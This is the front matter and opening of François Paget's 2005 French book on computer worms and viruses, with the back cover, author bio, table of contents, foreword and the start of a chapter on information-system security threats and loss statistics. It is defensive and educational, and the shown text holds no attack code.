TYPE D’OUVRAGE L'ESSENTIEL
SE FORMER
RETOURS D'EXPÉRIENCE
MANAGEMENT DES SYSTÈMES D'INFORMATION APPLICATIONS MÉTIERS
François Paget
ÉTUDES, DÉVELOPPEMENT, INTÉGRATION
RÉSEAUX & TÉLÉCOMS
VERS & VIRUS Classification, lutte anti-virale et perspectives Ce livre s’adresse aux responsables sécurité, aux directeurs des systèmes d’information et à leurs équipes. Il est aussi destiné à tous ceux qui ont des responsabilités dans le domaine de la sécurité informatique. Après avoir découvert qui est qui et qui fait quoi, l’histoire du phénomène virus est abordée dans son ensemble. Les vers et les virus sont ensuite décrits dans leurs multiples formes, et le lecteur est amené à découvrir la structure interne des fichiers modernes avec l’œil du chercheur. L’ouvrage aborde ensuite la protection anti-virale dans ses aspects théoriques, pratiques autant que méthodologiques. Ayant expliqué les méthodes, des pistes sont ouvertes pour aider le professionnel et le particulier dans sa quête d’un bon anti-virus. Pour conclure, le livre met en perspective les dernières évolutions depuis l’an 2000 et confirme l’arrivée d’une nouvelle et dangereuse cybercriminalité. Il démontre que les auteurs de virus d’aujourd’hui ne cherchent plus, ni à détruire, ni à détériorer des informations, mais il dévoile d’autres buts qui, plus discrets, sont souvent bien plus préjudiciables.
FRANÇOIS PAGET François Paget est chercheur anti-virus depuis bientôt quinze ans. Il est membre fondateur du groupe AVERT (Anti-virus and Vulnerability Emergency Response Team) au sein de McAfee. Au niveau européen, il est membre de l’EICAR (European Institute of Computer Anti-Virus Research). Avec d’autres professionnels du monde entier, il participe aux travaux de divers forums techniques dont celui de la Wildlist qui a pour but de recenser l'ensemble des virus actifs au niveau mondial
VERS & VIRUS
EXPLOITATION ET ADMINISTRATION
EXPLOITATION & ADMINISTRATION
F. PAGET
INFOPRO
VERS & VIRUS Classification, lutte anti-virale et perspectives
François Paget
ISBN 2 10 008311 2
www.dunod.com
paget_prelims Page I Lundi, 18. avril 2005 3:27 15
VERS & VIRUS Classification, lutte anti-virale et perspectives
paget_prelims Page II Lundi, 18. avril 2005 3:27 15
Sécurité des Architectures Web Plouin, Soyer, Trioullier 496 pages Dunod, 2004
Anti Spam : Kit de survie Kevin Gallot 208 pages Dunod, 2004
Les IDS Les systèmes de détection d’intrusions informatiques Thierry Evangelista 272 pages Dunod, 2004
paget_prelims Page III Lundi, 18. avril 2005 3:27 15
Sous la direction de
Philippe Rosé
VERS & VIRUS Classification, lutte anti-virale et perspectives François Paget Chercheur anti-virus chez McAfee Membre fondateur de l’AVERT
paget_prelims Page IV Lundi, 18. avril 2005 3:27 15
Illustration de couverture : Jeremy Woodhouse/Iguazu Falls, Brazil Source : digitalvision®
© Dunod, Paris, 2005 ISBN 2 10 008311 2
PAGETTDM.fm Page III Lundi, 11. avril 2005 5:22 17
Table des matières
Avant propos . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
IX
Chapitre 1 – Les multiples aspects de la malveillance . . . . . . . . . . . . . .
1
1.1 La sécurité des systèmes d’information 1.1.1 Les menaces . . . . . . . . . . . . 1.1.2 La malveillance . . . . . . . . . . 1.1.3 Les attaques logiques. . . . . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
1 2 3 4
1.2 Les messages non sollicités (sans pièce jointe) 1.2.1 Les rumeurs ou hoaxes . . . . . . . . . . 1.2.2 Les lettres chaînes . . . . . . . . . . . . . 1.2.3 Le spamming . . . . . . . . . . . . . . . 1.2.4 Le scam africain . . . . . . . . . . . . . . 1.2.5 Le phishing . . . . . . . . . . . . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
5 6 8 11 14 15
1.3 Les messages non sollicités (avec pièce jointe) . . . . . . . . . . . . . . .
17
1.4 Farces et canulars. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
18
1.5 Les infections informatiques . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.1 Les programmes simples . . . . . . . . . . . . . . . . . . . . . . . . . 1.5.2 Les programmes auto reproducteurs . . . . . . . . . . . . . . . . . . .
19 19 33
Chapitre 2 – Historique – de l’innocence à la tentation criminelle . . . . . .
35
2.1 John Louis von Neumann . . . . . . . . . . . . . . . . . . . . . . . . . .
35
2.2 Les premières expériences . . . . . 2.2.1 CREEPER & REAPER . . . 2.2.2 Animal et Pervade . . . . . . . 2.2.3 Maintenance et télédistribution
36 37 37 38
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
PAGETTDM.fm Page IV Lundi, 11. avril 2005 5:22 17
IV
Vers & virus
2.3 La science-fiction . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.1 Harlie avait un an . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.3.2 Sur l’onde choc . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
38 39 39
2.4 APPLE II . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.1 Elk Cloner . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.4.2 Anti-Congo . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
40 40 41
2.5 Fred Cohen . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
41
2.6 Les premiers vers . . . . . . . . . . . . . . . . . 2.6.1 BITNET : IBM Christmas Tree . . . . . . . 2.6.2 INTERNET : RTM Worm . . . . . . . . . 2.6.3 DECNET : Father Christmas Worm . . . . 2.6.4 DECNET : Worms Against Nuclear Killers .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
43 43 43 44 44
2.7 1986-1987 : Premières infections . . 2.7.1 BRAIN . . . . . . . . . . . . 2.7.2 Ralf Burger & Berdn Fix . . . . 2.7.3 Les universités en première ligne 2.7.4 L’arrivée du cryptage . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
45 45 46 46 47
2.8 1988 : Les premiers antivirus pour ibm pc . . . . . . . 2.8.1 Virus Antivirus . . . . . . . . . . . . . . . . . . . 2.8.2 Monitoring de programme . . . . . . . . . . . . . 2.8.3 DATACRIME : L’antivirus est au commissariat ! . 2.8.4 Recherche par signature . . . . . . . . . . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
47 47 48 48 50
2.9 L’énigme du premier macro-virus. . . . . . . . . . . . . . . . . . . . . . .
51
2.10 1989 2.10.1 2.10.2 2.10.3 2.10.4 2.10.5 2.10.6
– 1992 : Investigation et challenge. . . . Le vengeur ténébreux . . . . . . . . . . . 1260 : Le premier virus polymorphe . . . . Flip, Tequila ET Maltese Amoeba . . . . Tous azimuts pour les virus et les anti-virus La riposte des chercheurs . . . . . . . . . . Michelangelo . . . . . . . . . . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
52 53 54 54 56 58 59
2.11 1992 2.11.1 2.11.2 2.11.3
– 1995 : Générateurs et sophistication . Natas, One_Half et les autres . . . . . . Quelques arrestations . . . . . . . . . . Goodtimes & Gt-Spoof . . . . . . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
59 61 63 64
2.12 1995 – 1999 – L’arrivée des virus interprètes . . . . . . . . . . . . . . . . 2.12.1 WM/Concept . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 2.12.2 W95/Boza & Linux/Staog by Quantum . . . . . . . . . . . . . . . . .
64 65 66
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . .
. . . . .
PAGETTDM.fm Page V Lundi, 11. avril 2005 5:22 17
V
Table des matières
2.12.3 2.12.4 2.12.5 2.12.6
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
67 69 70 71
– 2000 – L’invasion des « MASS-MAILERS » . Happy 99 . . . . . . . . . . . . . . . . . . . . . Melissa . . . . . . . . . . . . . . . . . . . . . . LoveLetter . . . . . . . . . . . . . . . . . . . . Kak, le Cagou contre Bubbleboy . . . . . . . . . VBS/Timofonica . . . . . . . . . . . . . . . . . Autour des PDA – PalmOS/Phage . . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
72 72 74 75 78 79 79
2.14 2001 – 2003 – Un discret changement de cap . . . . . . . . . . . . . . .
80
2.15 L’été 2003 : ce sont principalement les particuliers qui trinquent ! . . . .
81
2.16 Janvier 2004 : W32/MYDOOM.A@MM . . . . . . . . . . . . . . . . . .
83
2.17 À suivre… . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
84
Chapitre 3 – Notions fondamentales . . . . . . . . . . . . . . . . . . . . . . .
87
3.1 Les virus par cibles . . 3.1.1 Virus système . . 3.1.2 Virus interprètes . 3.1.3 Virus programme
© Dunod – La photocopie non autorisée est un délit
2.13 1999 2.13.1 2.13.2 2.13.3 2.13.4 2.13.5 2.13.6
L’invasion des macro-virus . . . . . . . . La naissance de Network Associates Inc. . Le retour des virus programme . . . . . . Rabbit : Le lapin ! . . . . . . . . . . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
87 88 89 92
3.2 Les vers par types. . . . . . . . 3.2.1 Vers ou virus . . . . . . . 3.2.2 Vers de disquettes . . . . . 3.2.3 Vers de réseaux locaux . . 3.2.4 Vers de messagerie . . . . . 3.2.5 Vers en mode poste à poste 3.2.6 Vers de l’Internet . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
94 94 96 96 97 99 100
3.3 Les virus/vers par fonctionnalité . . 3.3.1 Anti-debugging . . . . . . . . 3.3.2 Du cryptage au metamorphisme 3.3.3 Virus défensif – Retro-virus . . 3.3.4 Furtivité . . . . . . . . . . . . 3.3.5 Infecteur rapide . . . . . . . . 3.3.6 Cocktail . . . . . . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
101 101 101 104 106 107 107
3.4 La classification des virus . . . . . . . . . . . . . . . . . . . . . . . . . . 3.4.1 Les virus de première génération . . . . . . . . . . . . . . . . . . . . . 3.4.2 L’effort de standardisation actuel . . . . . . . . . . . . . . . . . . . .
107 107 111
PAGETTDM.fm Page VI Lundi, 11. avril 2005 5:22 17
VI
Vers & virus
3.5 Les autres environnements . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.1 OS/2 . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 127 3.5.2 MacOS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 128 3.5.3 UNIX . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 129 Chapitre 4 – Les virus système . . . . . . . . . . . . . . . . . . . . . . . . . . 131 4.1 Mise en marche d’un micro-ordinateur. . . . . . . . . . . . . . . . . . . . 131 4.1.1 L’organisation de la mémoire . . . . . . . . . . . . . . . . . . . . . . . 133 4.1.2 Les interruptions . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 134 4.2 Mode de propagation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 136 4.3 Attaque du boot. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 137 4.3.1 4.3.2 4.3.3 4.3.4 4.3.5
Secteur d’amorce d’une disquette . Secteur d’amorce d’un disque dur . Structure d’une disquette . . . . . Structure d’un disque dur . . . . . Le virus Form . . . . . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
137 139 140 141 142
4.4 Attaque du MBR . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 146 4.4.1 Structure du secteur des partitions . . . . . . . . . . . . . . . . . . . . 146 4.4.2 Le virus Jumper.B . . . . . . . . . . . . . . . . . . . . . . . . . . . . 148 4.5 Techniques avancées . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 150 4.5.1 4.5.2 4.5.3 4.5.4 4.5.5 4.5.6 4.5.7
Modification de la CMOS . . . . . . Furtivité . . . . . . . . . . . . . . . Inaccessibilité au disque . . . . . . . . Utilisation de secteurs supplémentaires Non-sauvegarde du secteur d’origine . Multipartisme . . . . . . . . . . . . Polymorphie . . . . . . . . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
. . . . . . .
150 151 151 153 154 154 154
4.6 Spécificité des OS. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 154 Chapitre 5 – Les virus programme . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1 Modes d’infection . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 157 5.1.1 5.1.2 5.1.3 5.1.4 5.1.5 5.1.6
Recouvrement . . . . . . . Ajout . . . . . . . . . . . . Infection par cavité simple . Infection par fractionnement Délocalisés . . . . . . . . . Compagnons . . . . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
. . . . . .
158 159 162 163 164 164
PAGETTDM.fm Page VII Lundi, 11. avril 2005 5:22 17
VII
© Dunod – La photocopie non autorisée est un délit
Table des matières
5.2 L’environnement 32 bits . . . . . . . . . . . . . . . . . . . . . . . . . . . 5.2.1 Structure d’un fichier 32 bits. . . . . . . . . . . . . . . . . . . . . . . 5.2.2 Quelques méthodes d’infection . . . . . . . . . . . . . . . . . . . . . .
165 166 173
Chapitre 6 – Les vers . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
193
6.1 Activation . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . .
193
6.2 Classification . . . . . . . . 6.2.1 Langage interprète . . . 6.2.2 Langage compilé . . . . 6.2.3 Méthodes de réplication
. . . .
194 194 203 204
Chapitre 7 – Macro-virus et virus de script . . . . . . . . . . . . . . . . . . .
211
7.1 Macro-virus . . . . . . . . . . . . . . . . . . . . . . . 7.1.1 Mode de Fonctionnement sous Word . . . . . . . 7.1.2 Mode de fonctionnement sous Excel et PowerPoint 7.1.3 Un cas particulier : XF/PAIX . . . . . . . . . . . 7.1.4 Virus sous Access . . . . . . . . . . . . . . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
. . . . .
211 213 216 217 217
7.2 Virus de script . . . . . 7.2.1 VBScript . . . . . 7.2.2 Java et JavaScript . 7.2.3 Traitement par lot .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
219 219 220 220
Chapitre 8 – Les logiciels anti-virus . . . . . . . . . . . . . . . . . . . . . . .
221
8.1 Les méthodes de détection . . . . 8.1.1 La recherche par signature . . 8.1.2 La recherche générique. . . . 8.1.3 Le contrôle d’intégrité . . . . 8.1.4 La recherche heuristique . . . 8.1.5 Le monitoring de programmes
. . . . . .
221 222 225 228 229 231
8.2 Les principaux concepteurs de produits anti-virus . . . . . . . . . . . . .
231
Chapitre 9 – Organiser la lutte anti-virale . . . . . . . . . . . . . . . . . . . .
235
9.1 Les grandes règles à respecter . . . . . 9.1.1 Les ressources propres à l’utilisateur 9.1.2 Les ressources partagées . . . . . . 9.1.3 Les passerelles . . . . . . . . . . . 9.1.4 Le monde extérieur . . . . . . . . 9.1.5 La dimension humaine . . . . . . . 9.1.6 La politique des mises à jour . . . .
235 236 237 237 238 238 239
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . . . .
. . . .
. . . .
. . . . . .
. . . .
. . . .
. . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . .
. . . . . .
. . . . . . .
. . . . . . .
PAGETTDM.fm Page VIII Lundi, 11. avril 2005 5:22 17
VIII
Vers & virus
9.2 Techniques de protection. . . . . 9.2.1 Les anciennes méthodes. . . . 9.2.2 Les suites office. . . . . . . . 9.2.3 Internet explorer . . . . . . . 9.2.4 Outlook et Outlook Express . 9.2.5 Windows Scripting Host . . . 9.2.6 Simples et doubles extensions . 9.2.7 L’extension SHS . . . . . . . 9.2.8 Paramètres réseau . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
. . . . . . . . .
239 240 240 241 242 244 244 246 247
9.3 Choisir son anti-virus . . . . . 9.3.1 Les benchmarks . . . . . 9.3.2 Se faire sa propre opinion. 9.3.3 Testez votre anti-virus . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
. . . .
249 249 250 251
. . . .
. . . .
9.4 Le poids d’une infection virale pour l’entreprise . . . . . . . . . . . . . . . 253 Chapitre 10 – Dernières évolutions et perspectives . . . . . . . . . . . . . . . 259 10.1 Les buts recherchés . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 260 10.2 Envahir nos machines. . . . . . . . . . . . . . . . . . . . . . . . . . . . . 261 10.3 S’affranchir de l’utilisateur, gagner en vitesse, diminuer en taille . . . . . . 267 10.3.1 CODERED . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 267 10.3.2 SLAMMER . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 269 10.4 Utiliser des failles . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 271 10.5 Distribuer une porte dérobée . . . . . . . . . . . . . . . . . . . . . . . . . 277 10.6 Porter atteinte à la confidentialité . . . . . . . . . . . . . . . . . . . . . . 280 10.7 Faire la collecte de mots de passe. . . . . . . . . . . . . . . . . . . . . . . 280 10.8 Savoir se mettre à jour . . . . . . . . . . . . . . . . . . . . . . . . . . . . 283 10.9 Intégrer de multiples techniques de propagation. . . . . . . . . . . . . . . 286 10.10 Investir les modes poste à poste . . . . . . . . . . . . . . . . . . . . . . . 287 10.11 Usurper intelligemment les adresses. . . . . . . . . . . . . . . . . . . . . 288 10.12 Rechercher l’aval de l’utilisateur . . . . . . . . . . . . . . . . . . . . . . 288 10.13 L’invasion des robots . . . . . . . . . . . . . . . . . . . . . . . . . . . . 291 10.14 Conclusion : la fin de l’enfantillage – L’appât du gain . . . . . . . . . . . 295 Abréviations et glossaire . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 297 Index . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . 305
PAGET_AP Page IX Lundi, 11. avril 2005 5:25 17
Avant propos
L’idée d’écrire ce livre m’est venue après avoir écouté les interrogations et les commentaires de nombreux curieux. Parfois disponibles au sein d’actes de conférences quasi privés ou à l’intérieur de revues à la diffusion limitée, il m’est très vite apparu que beaucoup d’informations étaient introuvables. Cette constatation m’a encouragé à poursuivre ma démarche. Même si mon but initial fut d’intéresser le plus grand nombre, ce livre cible un public d’informaticiens et de spécialistes. Je souhaite leur montrer une autre vision du phénomène virus : celle du chasseur et non pas celle du créateur. Vous n’apprendrez pas à écrire des virus mais, au fil des chapitres, vous comprendrez mieux comment on les combat. Pour débuter notre voyage, nous positionnerons les infections informatiques dans la pyramide sécuritaire. Nous en déroulerons ses diverses facettes pour comprendre qui est qui et qui fait quoi dans cette nébuleuse malveillante. Afin de comprendre les enjeux actuels, il est indispensable de connaître l’histoire du phénomène virus. Il s’agit d’une histoire passionnante avec une étonnante galerie de personnages. Elle est pleine de rebondissements et se rapproche parfois du triller et de la science-fiction. Par cette découverte nous entrerons dans le cœur du sujet. Sachant ou se situe notre ennemi et quelle est son histoire, nous le décrirons dans ses multiples formes. Les divers types de virus et de vers seront déclinés selon leurs cibles et leurs attributs. Avec les virus programmes, nous rentrerons dans le cœur du métier. Ce chapitre, ainsi que celui dédié aux vers, risque d’effrayer certains lecteurs. Il me fallait trouver une méthode pour vous amener à voir avec l’œil du chercheur. J’ai donc manié l’hexadécimal et la visualisation des fichiers qu’il nous propose. En vous faisant appréhender la structure interne des fichiers modernes j’ai voulu donner une forte plus-value à ce livre. Nous aborderons ensuite la protection anti-virale dans ses aspects théoriques, pratiques autant que méthodologiques. Ayant expliqué les méthodes, des pistes seront ouvertes pour aider le professionnel dans sa quête d’un bon anti-virus.
PAGET_AP Page X Lundi, 11. avril 2005 5:25 17
X
Vers & virus
Les produits du marché sont souvent performants, ils n’excluent pas la mise en pratique de quelques conseils de configuration qui se doivent de les compléter. Pour conclure, partant des faits marquants depuis l’an 2000, ce livre démontrera que les auteurs de virus d’aujourd’hui ne cherchent plus, ni à détruire, ni à détériorer des informations. Il mettra à jour leurs buts actuels qui, plus discrets, sont souvent bien plus préjudiciables. Voilà donc l’itinéraire de ce livre. Pour prolonger le parcours, de nombreux liens bibliographiques vous seront offerts tout au long de votre lecture. Si le jargon technique vous laissait un temps désorienté, un glossaire que j’ai souhaité important et un index devraient vous aider à retrouver votre chemin.
PAGET_Ch01 Page 1 Lundi, 11. avril 2005 5:25 17
1 Les multiples aspects de la malveillance
Pour démarrer cet ouvrage, il me semble utile de repositionner le phénomène virus dans son contexte. Les nombreux programmes malveillants qui circulent ne sont pas tous des virus et la confusion règne dans nombreux esprits. Celle ci est entretenue par le fait que bon nombre d’anti-virus détectent ces programmes sans toujours les distinguer. Alors que les spécialistes se complaisent dans un jargon parfois hermétique, la presse généraliste à souvent tendance à voir un virus derrière chaque attaque qu’elle médiatise. Dans ce chapitre nous allons partir du sommet de la pyramide des risques en prenant soin de décliner chaque aspect de la malveillance. Souvent à l’aide d’exemples, nous détaillerons tout particulièrement les attaques logiques et les programmes simples. Nous aurons ainsi une vue d’ensemble de tout ce qui n’est pas viral : l’inventaire des activités néfastes mais non auto-reproductrices.
1.1 LA SÉCURITÉ DES SYSTÈMES D’INFORMATION L’École Nationale Supérieure des Techniques Avancées (ENSTA) a définie la sécurité des systèmes d’information comme « l’ensemble des moyens humains et matériels permettant à un système, s’appuyant sur des moyens automatisés de traitement et d’échange d’information, de résister aux agressions qui compromettraient son bon fonctionnement ». La sécurité physique du matériel, la sûreté des traitements, la sécurité des informations et la lutte contre la fraude informatique forment les aspects principaux de la sécurité. Face à eux, les vecteurs d’agression peuvent être d’origine naturelle ou humaine et s’attaquer aux matériels comme aux logiciels.
PAGET_Ch01 Page 2 Lundi, 11. avril 2005 5:25 17
2
Chapitre 1. Les multiples aspects de la malveillance
Tout comme d’autres acteurs de la malveillance, les auteurs des virus avec leurs créations portent atteinte à la sûreté des traitements et des informations. Certaines nouvelles fonctionnalités qu’ils mettent en œuvre s’apparentent parfois à la fraude informatique. Pour répondre aux risques informatiques, pour sauvegarder son patrimoine industriel, assurer son bon fonctionnement et garantir sa pérennité, une entreprise doit être sûre de son système d’information. Elle doit en assurer sa confidentialité, son intégrité et sa disponibilité. Connu sous l’abréviation CID, ce premier triptyque, est étroitement lié à un second : accident-erreur-malveillance. Cette classification des menaces permet l’analyse des risques informatiques selon leur cause première principale. Les virus informatiques sont du domaine de la malveillance ; ils ont des répercussions en terme de confidentialité, d’intégrité et de disponibilité.
1.1.1 Les menaces La malveillance a été longtemps considérée comme la principale cause des pertes dues à l’informatique. Les premières études françaises ont été menées entre les années 1984 et 1996. L’APSAD (Assemblée Plénière des Sociétés d’Assurances Dommages) et le CLUSIF (Club de la Sécurité des Systèmes d’Information Français) indiquaient que plus de 60 % des pertes dues à des sinistres informatiques relevaient d’actes malveillants. En 1998, l’APSAD poursuivait seule l’étude et confirmait ce point de vue : Risques accidentels
420 M€ (2750 MF)
20 %
Erreurs
305 M€ (2000 MF)
15 %
Malveillance
1340 M€ (8780 MF)
65 %
De son coté, le CLUSIF1 préféra orienter ses études annuelles en terme de survenance, de moyens mis en œuvre et de risques redoutés. L’enquête qu’il mit au point repose sur les déclarations d’entreprises françaises. Environ 600 d’entres elles et une centaine de collectivités publiques y répondent chaque année. En 2001, les infections virales étaient situées en 3ème position parmi les incidents au plus fort taux d’occurrence cité. Depuis 2002, elles prennent la première place même si elles sont souvent considérées comme incident de sécurité et non pas sinistre.
1. L’étude du CLUSIF intitulée Politiques de sécurité des systèmes d’information et sinistralité en France – Bilan 2003 est disponible en version PDF en suivant le lien : https://www.clusif.asso.fr/fr/production/sinistralite/docs/etude2003.pdf. Les versions précédentes sont également disponibles sur le site de l’association.
PAGET_Ch01 Page 3 Lundi, 11. avril 2005 5:25 17
3
1.1 La sécurité des systèmes d’information
Tableau 1.1 — Survenance des Sinistres Informatiques – CLUSIF 2000/2003 % d’entreprises concernées Principaux types de sinistre 2000
2001
2002
2003
Infection par virus
11,5
14,8
26,3
35
Panne interne
16,6
18,5
19,7
18
Vol
6,6
3,6
6,7
15
Perte de services essentiels
13,4
16,9
22,6
10
Erreur d’utilisation
23,9
11,9
14,4
8
Évènement naturel
4,6
1
5,2
3
Lorsque les entreprises sont interrogées sur les risques qui les menacent , elles citent en premier les infections informatiques. Même si les personnes interrogées subissent l’influence des médias et malgré une tendance à la baisse (62 % en 2001 contre 52 % en 2003) on a ici confirmation de l’importance portée au phénomène. Tableau 1.2 — Perception des risques à venir – CLUSIF 2001-2003 % d’entreprises concernées Type de risque
© Dunod – La photocopie non autorisée est un délit
2001
2002
2003
Virus ou infection informatique
62
58
52
Accident d’origine interne
35
29
36
Accident d’origine externe
13
25
17
Intrusion externe à l’entreprise sans altération
13
16
15
Erreur d’utilisation
13
17
9
Vol ou disparition de matériel ou de logiciel
16
17
8
Erreur de conception
8
8
2
Atteinte à l’image
2
3
2
Attaque ciblée
7
7
1
Chantage ou fraude
1
4
1.1.2 La malveillance Nous n’aborderons pas dans le détail les risques accidentels et les erreurs.
PAGET_Ch01 Page 4 Lundi, 11. avril 2005 5:25 17
4
Chapitre 1. Les multiples aspects de la malveillance
Les premiers regroupent principalement les accidents physiques comme les incendies, les évènements naturels comme les inondations et les tempêtes, les pannes matérielles ou logicielles et les pertes de services essentiels comme les pannes d’électricité. Les seconds peuvent survenir à la conception, à la réalisation ou lors de l’utilisation . Ils concernent aussi bien les logiciels que les procédures d’application.
Figure 1.1 — Les formes prises par la malveillance
La malveillance inclue toute action humaine visant à voler ou détériorer un matériel, à porter préjudice aux ressources d’un système, à s’y maintenir sans autorisation et à en tirer des profits illicites. Les grèves et le détournement d’heures de travail font aussi partie de cette catégorie. L’utilisation non autorisée ou abusive des ressources du système conduit souvent à une perte d’intégrité ou de disponibilité de certaines informations ; cet aspect de la malveillance prend souvent le nom d’attaque logique et conduit la plupart du temps à un sabotage immatériel. C’est cet aspect que nous allons maintenant développer.
